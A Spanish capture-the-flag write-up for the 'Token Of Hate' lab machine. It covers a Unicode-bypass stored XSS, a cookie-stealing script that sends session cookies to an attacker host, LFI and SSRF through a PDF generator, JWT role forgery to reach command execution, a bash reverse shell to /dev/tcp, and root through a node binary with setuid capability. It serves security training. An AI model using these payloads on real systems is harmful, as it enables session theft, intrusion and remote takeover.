Skip to content

WriteUp Token Of Hate - TheHackersLabs

Rabbit Token Of Hate

Resolución de un CTF de TheHackersLabs, con enumeración, explotación de XSS almacenado mediante Unicode, secuestro de cookies, ataques LFI y SSRF, manipulación de JWT para RCE y escalada de privilegios por medio de capabilities en Linux.

Tabla de contenido

Abrir tabla de contenido

Enumeración

alt text

Hacemos ping y observamos, por el TTL 64, que se trata de una máquina con sistema operativo Linux.

$ ping -c 1 192.168.1.117
PING 192.168.1.117 (192.168.1.117) 56(84) bytes of data.
64 bytes from 192.168.1.117: icmp_seq=1 ttl=64 time=0.195 ms

--- 192.168.1.117 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.195/0.195/0.195/0.000 ms

Comenzamos con un escaneo rápido de todos los puertos de la máquina.

$ nmap -p- -Pn -n 192.168.1.117
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-21 21:22 CET
Nmap scan report for 192.168.1.117
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

Encontramos dos puertos abiertos, el 22 ssh y el 80 http. A continuación, realizamos un análisis más exhaustivo para obtener más información sobre los servicios en los puertos 80 y 22.

$ nmap -p22,80 -sVC -T4 -Pn -n 192.168.1.117
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-21 21:23 CET
Nmap scan report for 192.168.1.117
Host is up (0.00017s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 fd6a7017f74007feeb5a5d365632f039 (ECDSA)
|_  256 2d3d4ba1f6e38d91094ca8b3857db5c1 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Home
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds

No descubrimos más información con el escaneo exhaustivo de nmap. Ejecutamos whatweb por si logramos obtener más detalles sobre el sitio web:

$ whatweb -v 192.168.1.117
WhatWeb report for http://192.168.1.117
Status    : 200 OK
Title     : Home
IP        : 192.168.1.117
Country   : RESERVED, ZZ

Summary   : Apache[2.4.62], HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)]

Detected Plugins:
[ Apache ]
        The Apache HTTP Server Project is an effort to develop and 
        maintain an open-source HTTP server for modern operating 
        systems including UNIX and Windows NT. The goal of this 
        project is to provide a secure, efficient and extensible 
        server that provides HTTP services in sync with the current 
        HTTP standards. 

        Version      : 2.4.62 (from HTTP Server Header)
        Google Dorks: (3)
        Website     : http://httpd.apache.org/

[ HTML5 ]
        HTML version 5, detected by the doctype declaration 


[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        OS           : Debian Linux
        String       : Apache/2.4.62 (Debian) (from server string)

HTTP Headers:
        HTTP/1.1 200 OK
        Date: Fri, 21 Mar 2025 20:44:12 GMT
        Server: Apache/2.4.62 (Debian)
        Vary: Accept-Encoding
        Content-Encoding: gzip
        Content-Length: 1504
        Connection: close
        Content-Type: text/html; charset=UTF-8

Además, hacemos un escaneo de tipo fuzzing de distintos endpoints o archivos en el servicio web mediante gobuster, usando el diccionario directory-list-2.3-medium.txt de seclist.

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.117 -x .php,.txt,.zip,.db,.htm,.html,.phar,.db,.asp,.aspx
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.117
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              asp,php,txt,htm,phar,aspx,zip,db,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/.htm                 (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 2952]
/login.php            (Status: 200) [Size: 1054]
/.html                (Status: 403) [Size: 278]
/.phar                (Status: 403) [Size: 278]
/javascript           (Status: 301) [Size: 319] [--> http://192.168.1.117/javascript/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/registro.php         (Status: 200) [Size: 1089]
/.html                (Status: 403) [Size: 278]
/.phar                (Status: 403) [Size: 278]
/.htm                 (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
Progress: 2205590 / 2205600 (100.00%)
===============================================================
Finished
===============================================================

Enumeración manual

Abrimos el sitio web que se ejecuta en el puerto 80 desde el navegador.

alt text

Nos encontramos con un sitio web que, si lo observamos detenidamente, nos aporta varias pistas sobre cómo puede producirse la intrusión:

Además, vemos dos enlaces: uno a un formulario de registro, Ir a Registro.

alt text

Con el siguiente código fuente:

registro.php

<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <title>Registro</title>
  <link rel="stylesheet" href="hoja.css">

  <script>
    // Validación en el cliente: se rechazan los caracteres prohibidos (<, >, ", ', &)
    function validarUsername() {
      /*
      var username = document.getElementById("username").value;
      var regex = /[<>"'&]/;
      if (regex.test(username)) {
        alert("El nombre de usuario contiene caracteres HTML prohibidos.");
        return false;
      }
        */
      return true;
    }
  </script>
</head>
<body>
  <h1 class="blink">Registro</h1>
  <form action="procesarRegistro.php" method="post" onsubmit="return validarUsername();">
    <label for="username">Nombre de usuario:</label>
    <input type="text" name="username" id="username" required>
    <br>
    <label for="password">Contraseña:</label>
    <input type="password" name="password" id="password" required>
    <br>
    <input type="submit" value="Registrarse">
  </form>
  <p><a href="login.php">Ir a Login</a></p>
  <p><a href="/">Home</a></p>
</body>
</html>

El otro enlace muestra el formulario de inicio de sesión, Ir a Login.

alt text

Con el siguiente código fuente:

login.php

<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <title>Login</title>
  <script>
    // Validación en el cliente para evitar caracteres HTML prohibidos
    function validarUsername() {
      var username = document.getElementById("username").value;
      var regex = /[<>"'&]/;
      if (regex.test(username)) {
        alert("El nombre de usuario contiene caracteres HTML prohibidos.");
        return false;
      }
      return true;
    }
  </script>
  <link rel="stylesheet" href="hoja.css">

</head>
<body>
  <h1 class="blink">Login</h1>
  <form action="procesarLogin.php" method="post" onsubmit="return validarUsername();">
    <label for="username">Nombre de usuario:</label>
    <input type="text" name="username" id="username" required>
    <br>
    <label for="password">Contraseña:</label>
    <input type="password" name="password" id="password" required>
    <br>
    <input type="submit" value="Iniciar Sesión">
  </form>
  <p><a href="registro.php">Ir a Registro</a></p>
  <p><a href="/">Home</a></p>
</body>
</html>

Nos registramos con cualquier usuario y contraseña. Luego iniciamos sesión con esos mismos datos, encontrándonos con una página privada:

alt text

Si revisamos el código fuente de esta página, hay algunas pistas adicionales en los comentarios.

pagina_privada.php

<!DOCTYPE html>
<html lang="es">

<head>
    <meta charset="UTF-8">
    <title>Página Privada</title>
    <link rel="stylesheet" href="hoja.css">
</head>

<body>
    <h1>Página Privada</h1>
    <p>Bienvenido, lenam!</p>

    <!-- Sección visible para todos los usuarios validados -->
    <section id="seccion_users">
        <h2>Contenido para Usuarios</h2>
        <p>Este contenido es visible para todos los usuarios autenticados (roles "user" y "admin").</p>
    </section>

    <!-- Sección exclusiva para usuarios con rol "admin" -->
  

    <p><a href="logout.php">Cerrar sesión</a></p>
</body>

</html>

Observamos que la cookie del navegador, creada en nuestra sesión, no tiene activadas las flags HttpOnly, Secure ni SameSite.

alt text

Intrusión

Pistas para la intrusión

XSS almacenado

Primero, debemos crear un usuario que nos permita inyectar un script en la página (Stored XSS). Para conseguirlo, nos aprovechamos de caracteres Unicode. Si usamos alguno de los caracteres prohibidos <>"'& de forma directa, no podremos, pero podemos reemplazarlos por equivalentes que solo existan en Unicode, los cuales se transformarán a ASCII internamente, logrando el objetivo.

ASCIIUnicode
<
>
&

Preparamos un pequeño script en bash para facilitar esta tarea.

#!/usr/bin/env bash
#
# Uso:
#   ./transformar.sh "Texto con & < > ' y \""
#
# El script imprimirá el texto transformado por stdout con posibles equivalentes ASCII en unicode

INPUT="$1"

#    - &   => & (U+FF06, Fullwidth Ampersand)
#    - <   => < (U+FF1C, Fullwidth Less-Than Sign)
#    - >   => > (U+FF1E, Fullwidth Greater-Than Sign)
#    - '   => ’ (U+2019, Right Single Quotation Mark)
#    - "   => “ (U+201C, Left Double Quotation Mark)
OUTPUT="$(echo "$INPUT" | sed -E \
  -e 's/&/&/g' \
  -e 's/</</g' \
  -e 's/>/>/g' \
  -e "s/'/’/g" \
  -e 's/\"/“/g'
)"

echo "$OUTPUT"

También podría hacerse de manera manual. En nuestro caso, ejecutamos el siguiente comando y copiamos el resultado para usarlo como nombre de usuario al registrarnos:

./transformar.sh '<script src="http://[IP-atacante]/script.js"></script>'

En mi caso:

$ ./tranformar.sh '<script src="http://192.168.1.181/script.js"></script>'
<script src=“http://192.168.1.181/script.js“></script>

alt text

Por otro lado, creamos un servicio web con Python en el puerto 80 y nos ponemos a la escucha. En poco tiempo recibimos la solicitud:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.117 - - [21/Mar/2025 23:41:21] code 404, message File not found
192.168.1.117 - - [21/Mar/2025 23:41:21] "GET /script.js HTTP/1.1" 404 -

Secuestro de cookies

Puesto que el XSS almacenado realiza peticiones a nuestro servicio HTTP en busca del archivo script.js, solo debemos modificar ese archivo para ejecutar JavaScript en el navegador de la víctima.

Ejecutamos lo siguiente para crear el fichero script.js en la misma carpeta que comparte nuestro servicio web:

$ echo 'x=new XMLHttpRequest;x.open("GET","http://[IP-atacante]?cookie="+btoa(document.cookie));x.send();' > script.js

En mi caso:

$ echo 'x=new XMLHttpRequest;x.open("GET","http://192.168.1.181?cookie="+btoa(document.cookie));x.send();' > script.js

Y recibimos la cookie del usuario, en formato base64, en nuestro servicio web:

192.168.1.117 - - [21/Mar/2025 23:46:44] "GET /script.js HTTP/1.1" 304 -
192.168.1.117 - - [21/Mar/2025 23:46:44] "GET /?cookie=UEhQU0VTU0lEPXNkM3EzZWVnMHY3Y2wzcGhpbTVyMjFpcWFo HTTP/1.1" 200 -

Descodificamos el base64 de la cookie y vemos que es la misma que se creó al iniciar sesión con nuestro usuario, pero con un valor diferente.

$ echo UEhQU0VTU0lEPXNkM3EzZWVnMHY3Y2wzcGhpbTVyMjFpcWFo | base64 -d
PHPSESSID=sd3q3eeg0v7cl3phim5r21iqah  

Iniciamos sesión en el navegador con el primer usuario de prueba que creamos (si fuera necesario, creamos otro desde el formulario de registro). Una vez logueados, desde las herramientas de desarrollador del navegador, en la pestaña Storage > Cookies, sustituimos el valor de la cookie de sesión PHPSESSID por el que nos llegó a través de nuestro servicio web y después actualizamos la página.

alt text

Obtenemos acceso como usuario con rol de administrador en la aplicación web. A partir de ahí podemos ver todos los usuarios registrados, eliminarlos y descargar un documento PDF con su listado.

alt text

Inclusión de fichero local (LFI)

Al generar el documento PDF, observamos que se envían peticiones a nuestro servicio web, pero sin ningún dato para la cookie:

192.168.1.117 - - [22/Mar/2025 00:00:31] "GET /?cookie= HTTP/1.1" 200 -

Descargamos el PDF con la lista de usuarios y lo analizamos.

alt text

Con exiftool vemos que está generado con wkhtmltopdf 0.12.6, una herramienta muy usada para convertir HTML a PDF.

Editamos el archivo script.js de nuestro servidor web en Python para intentar leer datos del propio servidor.

x=new XMLHttpRequest;
x.onload=function(){
  document.write("<pre>"+this.responseText+"</pre>");
};
x.open("GET","file:///etc/passwd");
x.send();

Descargamos el PDF y obtenemos el contenido de /etc/passwd.

alt text

Podemos seguir extrayendo diferentes archivos del servidor, pero encontramos credenciales filtradas en el archivo /var/www/html/index.php.

alt text

Las anotamos para tenerlas presentes:

['admin', 'dUnAyw92B7qD4OVIqWXd', 'admin'],
['Łukasz', 'dQnwTCpdCUGGqBQXedLd', 'user'],
['Þór', 'EYNlxMUjTbEDbNWSvwvQ', 'user'],
['Ægir', 'DXwgeMuQBAtCWPPQpJtv', 'user'],
['Çetin', 'FuLqqEAErWQsmTQQQhsb', 'user'],
['José', 'FuLqqEAErWQsmTQQQhsb', 'user'],

Solicitudes a recursos internos (SSRF)

Utilizamos el mismo XSS almacenado para descubrir recursos internos del servidor. Volvemos a modificar el archivo script.js para realizar un escaneo interno de los puertos más comunes para http. Cambia la IP 192.168.1.181 por la de tu servidor web:

const ports=[66,80,81,443,445,457,1080,1100,1241,1352,1433,1434,1521,1944,2301,3000,3128,3306,4000,4001,4002,4100,5000,5432,5800,5801,5802,6346,6347,7001,7002,8000,8080,8443,8888,30821];
function handleLoad(x,p) {
  let y=new XMLHttpRequest();
  y.open("GET",`http://192.168.1.181/ping?port=${p}`);
  y.send();
}
ports.forEach( (p,i) =>
  setTimeout( () => {
    let x=new XMLHttpRequest();
    x.open("GET",`http://localhost:${p}`);
    x.timeout=300;
    x.onload=()=>handleLoad(x,p);x.send();
  }, i*10)
);

Observamos que además del puerto 80, el puerto 3000 también está abierto en la red interna.

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.117 - - [22/Mar/2025 00:24:05] "GET /script.js HTTP/1.1" 304 -
192.168.1.117 - - [22/Mar/2025 00:24:05] code 404, message File not found
192.168.1.117 - - [22/Mar/2025 00:24:05] "GET /ping?port=80 HTTP/1.1" 404 - <---
192.168.1.117 - - [22/Mar/2025 00:24:06] code 404, message File not found
192.168.1.117 - - [22/Mar/2025 00:24:06] "GET /ping?port=3000 HTTP/1.1" 404 - <---

Volvemos a modificar script.js para visualizar la respuesta del puerto 3000.

x=new XMLHttpRequest;
x.onload=function(){
  document.write("<div>"+this.responseText+"</div>")
};
x.open("GET","http://localhost:3000");
x.send();

Descargamos el PDF y vemos un texto en formato JSON:

alt text

{
   "name":"API de Comandos",
   "version":"1.2.0",
   "description":"API para autenticación y ejecución de comandos utilizando
un token.",
   "endpoints":{
      "/":{
         "method":"GET",
         "description":"Muestra la información de la API y la descripción de los
endpoints disponibles."
      },
      "/login":{
         "method":"POST",
         "description":"Permite iniciar sesión. Se espera un body en formato
JSON con 'username' y 'password'. Si el login es correcto, se retorna un token JWT. Ejemplo: { \"username\": \"test\",
\"password\": \"123456\" }"
      },
      "/command":{
         "method":"POST",
         "description":"Ejecuta un comando del sistema para
usuarios autenticados con rol admin. Se espera un body en formato JSON con 'command' y 'token' o enviando el token
en la cabecera 'Authorization'. Ejemplo: { \"command\": \"ls -la\", \"token\": \"token_jwt\" }"
      }
   }
}

Parece ser la documentación de una API interna que permite la ejecución de comandos. Modificamos nuevamente nuestro archivo script.js para intentar validar las credenciales de los usuarios filtrados en /var/www/html/index.php.

Además, como internamente se emplea la versión ASCII de los nombres de usuario, añadimos sus nombres transformados a ASCII y también una versión en minúsculas:

const users = [
    { nombre: "admin", pas: "dUnAyw92B7qD4OVIqWXd" },
    { nombre: "Łukasz", pas: "dQnwTCpdCUGGqBQXedLd" },
    { nombre: "Þór", pas: "EYNlxMUjTbEDbNWSvwvQ" },
    { nombre: "Ægir", ipasd: "DXwgeMuQBAtCWPPQpJtv" },
    { nombre: "Çetin", pas: "FuLqqEAErWQsmTQQQhsb" },
    { nombre: "José", pas: "FuLqqEAErWQsmTQQQhsb" },
    // Versión en ASCII de los nombres de usuarios.
    { nombre: "admin", pas: "dUnAyw92B7qD4OVIqWXd" },
    { nombre: "Lukasz", pas: "dQnwTCpdCUGGqBQXedLd" },
    { nombre: "Thor", pas: "EYNlxMUjTbEDbNWSvwvQ" },
    { nombre: "AEgir", pas: "DXwgeMuQBAtCWPPQpJtv" },
    { nombre: "Cetin", pas: "FuLqqEAErWQsmTQQQhsb" },
    { nombre: "Jose", pas: "FuLqqEAErWQsmTQQQhsb" },
    // Versión en ASCII de los nombres de usuarios y en minúsculas.
    { nombre: "admin", pas: "dUnAyw92B7qD4OVIqWXd" },
    { nombre: "lukasz", pas: "dQnwTCpdCUGGqBQXedLd" },
    { nombre: "thor", pas: "EYNlxMUjTbEDbNWSvwvQ" },
    { nombre: "aegir", pas: "DXwgeMuQBAtCWPPQpJtv" },
    { nombre: "cetin", pas: "FuLqqEAErWQsmTQQQhsb" },
    { nombre: "jose", pas: "FuLqqEAErWQsmTQQQhsb" }
];

function testUser(user) {
    let xhr = new XMLHttpRequest();
    xhr.open("POST", "http://localhost:3000/login", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.onload = () => {
        if (xhr.status >= 200)
            new Image().src = `http://192.168.1.181/?user=${user.username}&response=${btoa(xhr.responseText)}`
    }
    xhr.send(JSON.stringify(user));
}

users.forEach(async user => {
    // Envía la petición con el body en JSON
    testUser({
        username: user.nombre,
        password: user.pas
    });
});

Esperamos un momento y, al poco tiempo, recibimos todas las peticiones en nuestro servicio web. Fijándonos, los datos más extensos corresponden al usuario Jose (con la primera letra mayúscula y sin acento).

alt text

Descodificamos la respuesta en base64 de la petición de inicio de sesión para el usuario Jose:

$ echo eyJtZXNzYWdlIjoiTG9naW4gY29ycmVjdG8iLCJ0b2tlbiI6ImV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUoxYzJWeWJtRnRaU0k2SWtwdmMyVWlMQ0p5YjJ4bElqb2lkWE5sY2lJc0ltbGhkQ0k2TVRjME1qWXdNalF3TWl3aVpYaHdJam94TnpReU5qQTJNREF5ZlEuWFEwT1QzWng4VmYtZGlpNmxQX0hFNER6emYtOVQxWUhuVlk3VXhPTWU2cyJ9|base64 -d
{"message":"Login correcto","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ikpvc2UiLCJyb2xlIjoidXNlciIsImlhdCI6MTc0MjYwMjQwMiwiZXhwIjoxNzQyNjA2MDAyfQ.XQ0OT3Zx8Vf-dii6lP_HE4Dzzf-9T1YHnVY7UxOMe6s"}

Obtenemos un JSON con un mensaje y un token, tal como especificaba el endpoint principal de la API, con pinta de ser un token JWT.

Ejecución remota (RCE)

Descodificamos el token JWT para conocer su validez temporal, el tipo de cifrado y los datos de su payload.

Token JWT obtenido

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ikpvc2UiLCJyb2xlIjoidXNlciIsImlhdCI6MTc0MjYwMjQwMiwiZXhwIjoxNzQyNjA2MDAyfQ.XQ0OT3Zx8Vf-dii6lP_HE4Dzzf-9T1YHnVY7UxOMe6s

Usamos http://jwt.io para decodificarlo.

alt text

Observamos que el token usa el algoritmo HS256 (parámetro alg del HEADER) y que su validez tras iniciar sesión es de 1 hora. Esto se ve en los campos exp (momento de expiración en UNIX timestamp) y iat (momento de emisión, también en UNIX timestamp) del payload.

1742606002 - 1742602402 = 3600 segundos = 1 hora

Es decir, si transcurre más de una hora hasta que lo usemos, tendremos que solicitar uno nuevo validando de nuevo al usuario. Además, vemos en el payload que pertenece al usuario Jose con rol user.

Nos interesa ejecutar el comando del endpoint /command de la API interna. Si recordamos lo obtenido anteriormente, solo sirve para el rol admin, y el token que tenemos pertenece al rol user.

      "/command":{
         "method":"POST",
         "description":"Ejecuta un comando del sistema para
usuarios autenticados con rol admin. Se espera un body en formato JSON con 'command' y 'token' o enviando el token
en la cabecera 'Authorization'. Ejemplo: { \"command\": \"ls -la\", \"token\": \"token_jwt\" }"
      }

Podemos manipular el token JWT para modificar el campo role en su payload. Si la aplicación no valida bien la firma del token, podremos suplantar a un usuario con el rol admin.

Podemos hacerlo de forma manual o usando el siguiente script, que lo automatiza. Volvemos a editar nuestro fichero script.js:

var command = "id";

// Petición para realizar el login y obtener el token actualizado.
petition1 = new XMLHttpRequest();
petition1.open('POST', 'http://localhost:3000/login', true);
petition1.setRequestHeader('Content-Type', 'application/json');

// Petición para ejecutar el comando.
petition2 = new XMLHttpRequest();
petition2.open('POST', 'http://localhost:3000/command', true);
petition2.setRequestHeader('Content-Type', 'application/json');

function base64urlDecode(str) {
    // Reemplaza caracteres específicos de Base64URL
    str = str.replace(/-/g, '+').replace(/_/g, '/');
    // Añadir padding si es necesario
    while (str.length % 4) {
        str += '=';
    }
    return atob(str);
}

function base64urlEncode(str) {
    return btoa(str)
        .replace(/\+/g, '-')
        .replace(/\//g, '_')
        .replace(/=+$/, '');
}

petition2.onload = () => {
    document.write("Resultado");
    document.write(petition2.responseText);
}

petition1.onload = () => {
    // Obtenemos el token JWT y lo separamos en sus partes.
    let tokenParts = JSON.parse(petition1.responseText).token.split(".");

    // Decodificamos la parte del payload y la convertimos en objeto.
    let payloadDecoded = JSON.parse(base64urlDecode(tokenParts[1]));

    // Modificamos el role del usuario.
    payloadDecoded.role = "admin";

    // Codificamos otra vez el payload modificado.
    tokenParts[1] = base64urlEncode(JSON.stringify(payloadDecoded));

    // Reconstruimos el token modificado.
    let tokenModificado = tokenParts.join(".");

    sendSecondPetition(tokenModificado);
}

function sendSecondPetition(tokenModificado) {
    petition2.send(`{"token":"${tokenModificado}","command":"${command}"}`);
}

petition1.send('{"username":"Jose","password":"FuLqqEAErWQsmTQQQhsb"}');

Descargamos otro PDF y obtenemos la ejecución de comandos con el usuario ctesias.

alt text

Modificamos la variable command de nuestro JavaScript en el archivo script.js, introduciendo la IP de nuestra máquina atacante:

var command = "bash -c 'bash -i >& /dev/tcp/192.168.1.181/12345 0>&1'";

Nos ponemos a la escucha con netcat en el puerto 12345 y creamos otro PDF:

$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [192.168.1.181] from (UNKNOWN) [192.168.1.117] 40170
bash: no se puede establecer el grupo de proceso de terminal (497): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
ctesias@tokenofhate:/$ 

Entramos en la máquina víctima como el usuario ctesias.

alt text

Podemos leer la flag de user.txt:

tesias@tokenofhate:~$ cat user.txt
cat user.txt
98XXXXXXXXXXXXXXXXXXXXXXXXXXXXa3

Escalada de privilegios

Tratamos la terminal o introducimos nuestra clave pública SSH para trabajar más cómodamente en el servidor.

Buscamos ficheros con capabilities:

$ getcap -r /
getcap -r /
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/yournode cap_setuid=ep

Encontramos un binario sospechoso, /usr/bin/yournode, y confirmamos que es una copia de nodejs:

$ /usr/bin/yournode
Welcome to Node.js v18.19.0.
Type ".help" for more information.
> .exit
$ /usr/bin/yournode --version
v18.19.0

Buscamos en gtfobins una forma de escalar con un binario node que tenga capabilities y la encontramos.

alt text

Ejecutamos el siguiente comando para conseguir privilegios de root:

ctesias@tokenofhate:~$ /usr/bin/yournode -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
# id
uid=0(root) gid=1000(ctesias) grupos=1000(ctesias),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
# 

Leemos la flag de root.txt:

# cat /root/root.txt
b6XXXXXXXXXXXXXXXXXXXXXX2d

¡Felicidades! Si has llegado hasta aquí, has obtenido las flags, aunque quizá todavía falte algo por descubrir.

¿Te fijaste en la imagen del conejo hate al principio? También forma parte de este CTF. Si no la encontraste, es que no buscaste en todos los lugares 😉.